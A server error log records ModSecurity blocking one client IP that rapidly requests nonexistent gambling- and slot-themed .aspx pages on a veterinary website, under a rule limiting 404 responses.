[Tue Mar 17 07:05:01.962151 2026] [:error] [pid 45916:tid 45966] [client 51.83.238.207:35116] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abiMnbiS53PnClk_C9ACHQAAAEQ"]
[Tue Mar 17 07:05:02.511800 2026] [:error] [pid 45915:tid 45949] [client 51.83.238.207:35122] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "abiMnph7U84ydzcrcncOwAAAABQ"]
[Tue Mar 17 07:05:05.152649 2026] [:error] [pid 22541:tid 22564] [client 51.83.238.207:35140] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abiMoaS6JNY1-CTsTA8D5AAAARI"]
[Tue Mar 17 07:05:05.484020 2026] [:error] [pid 46020:tid 46023] [client 51.83.238.207:35136] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abiMoX-nCcd9BdzGdLcYvwAAAME"]
[Tue Mar 17 07:05:06.242649 2026] [:error] [pid 46020:tid 46039] [client 51.83.238.207:35150] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abiMon-nCcd9BdzGdLcYwAAAANE"]
[Tue Mar 17 07:05:07.895495 2026] [:error] [pid 46020:tid 46024] [client 51.83.238.207:35154] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "abiMo3-nCcd9BdzGdLcYyAAAAMI"]
[Tue Mar 17 07:05:08.205316 2026] [:error] [pid 45915:tid 45939] [client 51.83.238.207:48916] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "abiMpJh7U84ydzcrcncOxAAAAAo"]
[Tue Mar 17 07:05:09.482992 2026] [:error] [pid 45915:tid 45933] [client 51.83.238.207:48924] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abiMpZh7U84ydzcrcncOyAAAAAQ"]
[Tue Mar 17 07:05:09.762862 2026] [:error] [pid 45916:tid 45963] [client 51.83.238.207:48938] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "abiMpbiS53PnClk_C9ACJgAAAEE"]
[Tue Mar 17 07:05:10.754346 2026] [:error] [pid 22541:tid 22562] [client 51.83.238.207:48952] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "abiMpqS6JNY1-CTsTA8D7gAAARA"]
[Tue Mar 17 07:05:11.787649 2026] [:error] [pid 45915:tid 45930] [client 51.83.238.207:48956] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abiMp5h7U84ydzcrcncOywAAAAE"]
[Tue Mar 17 07:05:12.343789 2026] [:error] [pid 45916:tid 45974] [client 51.83.238.207:48960] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abiMqLiS53PnClk_C9ACJwAAAEw"]
[Tue Mar 17 07:05:14.026519 2026] [:error] [pid 45917:tid 46013] [client 51.83.238.207:48976] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abiMqhMMhmeqL5fT_hecpgAAAJg"]
[Tue Mar 17 07:05:14.299769 2026] [:error] [pid 46020:tid 46036] [client 51.83.238.207:48984] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "abiMqn-nCcd9BdzGdLcY1gAAAM4"]
[Tue Mar 17 07:05:16.225821 2026] [:error] [pid 46020:tid 46029] [client 51.83.238.207:49000] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abiMrH-nCcd9BdzGdLcY3QAAAMc"]
[Tue Mar 17 07:05:16.467045 2026] [:error] [pid 46020:tid 46033] [client 51.83.238.207:48992] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "abiMrH-nCcd9BdzGdLcY3wAAAMs"]
[Tue Mar 17 07:05:17.969067 2026] [:error] [pid 46020:tid 46042] [client 51.83.238.207:49014] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "abiMrX-nCcd9BdzGdLcY5wAAANQ"]
[Tue Mar 17 07:05:18.399503 2026] [:error] [pid 46020:tid 46044] [client 51.83.238.207:54170] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abiMrn-nCcd9BdzGdLcY6AAAANY"]
[Tue Mar 17 07:05:18.975902 2026] [:error] [pid 22541:tid 22565] [client 51.83.238.207:49002] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abiMrqS6JNY1-CTsTA8EAQAAARM"]
[Tue Mar 17 07:05:19.475859 2026] [:error] [pid 22541:tid 22554] [client 51.83.238.207:54184] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abiMr6S6JNY1-CTsTA8EBQAAAQg"]
[Tue Mar 17 07:05:20.837251 2026] [:error] [pid 46020:tid 46022] [client 51.83.238.207:54192] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abiMsH-nCcd9BdzGdLcY7gAAAMA"]
[Tue Mar 17 07:05:21.683314 2026] [:error] [pid 46020:tid 46040] [client 51.83.238.207:54202] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abiMsX-nCcd9BdzGdLcY8wAAANI"]
[Tue Mar 17 07:05:23.459660 2026] [:error] [pid 46020:tid 46026] [client 51.83.238.207:54204] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "abiMs3-nCcd9BdzGdLcZAwAAAMQ"]
[Tue Mar 17 07:05:24.071001 2026] [:error] [pid 46020:tid 46040] [client 51.83.238.207:54210] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "abiMtH-nCcd9BdzGdLcZBgAAANI"]
[Tue Mar 17 07:05:24.978819 2026] [:error] [pid 46020:tid 46042] [client 51.83.238.207:54226] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abiMtH-nCcd9BdzGdLcZDQAAANQ"]
[Tue Mar 17 07:05:25.015638 2026] [:error] [pid 46020:tid 46024] [client 51.83.238.207:54212] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abiMtX-nCcd9BdzGdLcZDgAAAMI"]
[Tue Mar 17 07:05:25.356702 2026] [:error] [pid 22541:tid 22563] [client 51.83.238.207:54232] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "abiMtaS6JNY1-CTsTA8ECgAAARE"]
[Tue Mar 17 07:05:27.980458 2026] [:error] [pid 45915:tid 45945] [client 51.83.238.207:54238] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abiMt5h7U84ydzcrcncO0gAAABA"]
[Tue Mar 17 07:05:28.605874 2026] [:error] [pid 46020:tid 46044] [client 51.83.238.207:53646] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abiMuH-nCcd9BdzGdLcZEwAAANY"]
[Tue Mar 17 07:05:29.006854 2026] [:error] [pid 45916:tid 45973] [client 51.83.238.207:53652] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abiMubiS53PnClk_C9ACNQAAAEs"]
[Tue Mar 17 07:05:30.372528 2026] [:error] [pid 22541:tid 22550] [client 51.83.238.207:53662] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abiMuqS6JNY1-CTsTA8EFQAAAQQ"]
[Tue Mar 17 07:05:30.752892 2026] [:error] [pid 45916:tid 45986] [client 51.83.238.207:53682] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abiMuriS53PnClk_C9ACOAAAAFg"]
[Tue Mar 17 07:05:31.477881 2026] [:error] [pid 45916:tid 45979] [client 51.83.238.207:53668] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "abiMu7iS53PnClk_C9ACOgAAAFE"]
[Tue Mar 17 07:05:31.957491 2026] [:error] [pid 22541:tid 22554] [client 51.83.238.207:53686] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abiMu6S6JNY1-CTsTA8EGQAAAQg"]
[Tue Mar 17 07:05:33.143618 2026] [:error] [pid 22541:tid 22556] [client 51.83.238.207:53688] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "abiMvaS6JNY1-CTsTA8EHgAAAQo"]
[Tue Mar 17 07:05:34.541769 2026] [:error] [pid 45917:tid 46001] [client 51.83.238.207:53704] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abiMvhMMhmeqL5fT_hecxgAAAIw"]
[Tue Mar 17 07:05:34.797029 2026] [:error] [pid 22541:tid 22561] [client 51.83.238.207:53714] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "abiMvqS6JNY1-CTsTA8EIQAAAQ8"]
[Tue Mar 17 07:05:35.415268 2026] [:error] [pid 45917:tid 45994] [client 51.83.238.207:53730] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abiMvxMMhmeqL5fT_hecyAAAAIU"]
[Tue Mar 17 07:05:36.953869 2026] [:error] [pid 45916:tid 45962] [client 51.83.238.207:53756] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abiMwLiS53PnClk_C9ACRwAAAEA"]
[Tue Mar 17 07:05:38.219851 2026] [:error] [pid 45917:tid 46009] [client 51.83.238.207:39406] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abiMwhMMhmeqL5fT_hecyQAAAJQ"]
[Tue Mar 17 07:05:38.329363 2026] [:error] [pid 22541:tid 22566] [client 51.83.238.207:53746] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abiMwqS6JNY1-CTsTA8ELwAAARQ"]
[Tue Mar 17 07:05:38.554273 2026] [:error] [pid 45916:tid 45969] [client 51.83.238.207:39396] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "abiMwriS53PnClk_C9ACSwAAAEc"]
[Tue Mar 17 07:05:39.685296 2026] [:error] [pid 22541:tid 22551] [client 51.83.238.207:39416] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abiMw6S6JNY1-CTsTA8ENQAAAQU"]
[Tue Mar 17 07:05:40.758064 2026] [:error] [pid 22541:tid 22564] [client 51.83.238.207:39418] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abiMxKS6JNY1-CTsTA8EOgAAARI"]
[Tue Mar 17 07:05:41.686760 2026] [:error] [pid 22541:tid 22560] [client 51.83.238.207:39420] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abiMxaS6JNY1-CTsTA8EOwAAAQ4"]
[Tue Mar 17 07:05:58.293892 2026] [:error] [pid 45916:tid 45971] [client 51.83.238.207:51900] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abiM1riS53PnClk_C9ACXQAAAEk"]
[Tue Mar 17 07:05:59.116484 2026] [:error] [pid 46020:tid 46022] [client 51.83.238.207:39448] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abiM13-nCcd9BdzGdLcZVAAAAMA"]
[Tue Mar 17 07:05:59.176436 2026] [:error] [pid 45915:tid 45942] [client 51.83.238.207:51904] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abiM15h7U84ydzcrcncO7gAAAA0"]
[Tue Mar 17 07:06:01.084518 2026] [:error] [pid 46020:tid 46045] [client 51.83.238.207:43506] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abiM2X-nCcd9BdzGdLcZVwAAANc"]
[Tue Mar 17 07:06:02.686291 2026] [:error] [pid 45915:tid 45947] [client 51.83.238.207:43510] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abiM2ph7U84ydzcrcncO9QAAABI"]
[Tue Mar 17 07:06:03.398135 2026] [:error] [pid 46020:tid 46033] [client 51.83.238.207:43524] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abiM23-nCcd9BdzGdLcZWwAAAMs"]
[Tue Mar 17 07:06:04.532348 2026] [:error] [pid 46020:tid 46037] [client 51.83.238.207:43552] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abiM3H-nCcd9BdzGdLcZYAAAAM8"]
[Tue Mar 17 07:06:04.733840 2026] [:error] [pid 46020:tid 46036] [client 51.83.238.207:43536] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abiM3H-nCcd9BdzGdLcZYQAAAM4"]
[Tue Mar 17 07:06:07.006915 2026] [:error] [pid 45917:tid 45995] [client 51.83.238.207:43580] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abiM3xMMhmeqL5fT_hec_wAAAIY"]
[Tue Mar 17 07:06:07.380862 2026] [:error] [pid 46020:tid 46022] [client 51.83.238.207:43568] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abiM33-nCcd9BdzGdLcZZgAAAMA"]
